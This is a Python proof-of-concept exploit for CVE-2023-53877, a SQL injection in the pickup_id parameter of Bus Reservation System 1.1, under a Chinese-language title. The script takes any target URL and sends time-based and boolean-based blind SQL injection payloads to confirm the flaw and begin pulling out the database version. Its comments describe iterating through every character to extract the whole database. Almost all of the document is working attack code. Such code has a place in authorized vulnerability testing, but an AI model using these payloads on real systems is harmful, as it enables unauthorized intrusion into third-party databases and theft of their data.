CVE-2023-53877 Bus Reservation System pickup_id参数SQL注入漏洞

import requests import sys import time # CVE-2023-53877 SQL Injection PoC # Target: Bus Reservation System 1.1 # Vulnerability: SQL Injection in pickup_id parameter def test_blind_sqli(url, param_name="pickup_id"): """ Test for boolean-based blind SQL injection """ # Normal request baseline normal_payload = "1" normal_url = f"{url}?{param_name}={normal_payload}" try: start = time.time() resp1 = requests.get(normal_url, timeout=10) baseline_time = time.time() - start # Test with time-based injection (SLEEP 5 seconds) # If vulnerable, page will delay response by ~5 seconds injected_payload = "1 AND (SELECT 7777 FROM (SELECT SLEEP(5))xxx)" injected_url = f"{url}?{param_name}={injected_payload}" start = time.time() resp2 = requests.get(injected_url, timeout=30) injected_time = time.time() - start print(f"[*] Normal request time: {baseline_time:.2f}s") print(f"[*] Injected request time: {injected_time:.2f}s") if injected_time > 4: print("[+] VULNERABLE! Time-based SQL injection confirmed") return True else: print("[-] Target may not be vulnerable") return False except requests.exceptions.Timeout: print("[+] VULNERABLE! Request timed out (likely exploited)") return True except Exception as e: print(f"[!] Error: {e}") return False def extract_data(url, param_name="pickup_id"): """ Example: Extract database version using boolean-based blind SQLi """ # Database version extraction payload # This payload checks if first char of version string is '5' payload_template = "1 AND ASCII(SUBSTRING((SELECT version()),1,1))=53" target_url = f"{url}?{param_name}={payload_template}" print(f"[*] Testing data extraction: {target_url}") print("[*] Example: Checking if MySQL version starts with '5'") # In real attack, attacker would iterate through all characters # and positions to fully extract database information if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2023-53877.py <target_url>") print("Example: python cve-2023-53877.py http://target.com/index.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2023-53877 on {target}") test_blind_sqli(target)